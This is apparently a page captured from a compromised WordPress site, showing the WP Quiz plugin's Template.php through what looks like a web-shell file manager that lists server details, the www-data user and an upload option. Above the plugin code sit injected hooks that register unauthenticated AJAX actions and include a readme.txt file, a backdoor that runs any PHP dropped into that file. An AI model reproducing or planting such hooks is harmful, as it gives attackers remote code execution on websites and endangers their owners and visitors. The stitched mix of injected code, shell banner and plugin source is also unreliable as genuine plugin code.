if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/wp-quiz/includes/Template.php
<?php
/**
 * Template helper
 *
 * @package WPQuiz
 */

namespace WPQuiz;

/**
 * Class Template
 */
class Template {

	/**
	 * Gets template path.
	 *
	 * @param string $file_path Template file path.
	 * @return string
	 */
	public static function get_template_path( $file_path ) {
		$path       = '';
		$theme_path = locate_template( self::get_theme_template_dir() . $file_path );
		if ( $theme_path ) {
			$path = $theme_path;
		} elseif ( file_exists( wp_quiz()->templates_dir() . $file_path ) ) {
			$path = wp_quiz()->templates_dir() . $file_path;
		}

		return apply_filters( 'wp_quiz_template_path', $path, $file_path );
	}

	/**
	 * Gets theme template directory.
	 *
	 * @return string
	 */
	protected static function get_theme_template_dir() {
		return apply_filters( 'wp_quiz_theme_template_dir', 'wp-quiz/' );
	}

	/**
	 * Loads template.
	 *
	 * @param string $file_path Template file path.
	 * @param array  $data      Data passed to template file.
	 */
	public static function load_template( $file_path, $data = array() ) {
		$path = self::get_template_path( $file_path );
		if ( ! $path ) {
			return;
		}

		extract( $data ); // phpcs:ignore

		do_action( 'wp_quiz_before_load_template', $file_path, $data );

		include $path;
	}

	/**
	 * Shows notice.
	 *
	 * @param string $message Message.
	 * @param string $type    Notice type. Default is `error`.
	 * @param bool   $alt     Show alt color.
	 * @param bool   $echo    Show notice or return the output.
	 * @return string|void
	 */
	public static function notice( $message, $type = 'error', $alt = false, $echo = false ) {
		if ( ! $message ) {
			return '';
		}

		$classes   = array( 'notice' );
		$classes[] = 'notice-' . $type;
		if ( $alt ) {
			$classes[] = 'notice-alt';
		}
		$output = sprintf(
			'<div class="%1$s"><p>%2$s</p></div>',
			esc_attr( implode( ' ', $classes ) ),
			wp_kses_post( $message )
		);

		if ( ! $echo ) {
			return $output;
		}
		echo $output; // WPCS: xss ok.
	}
}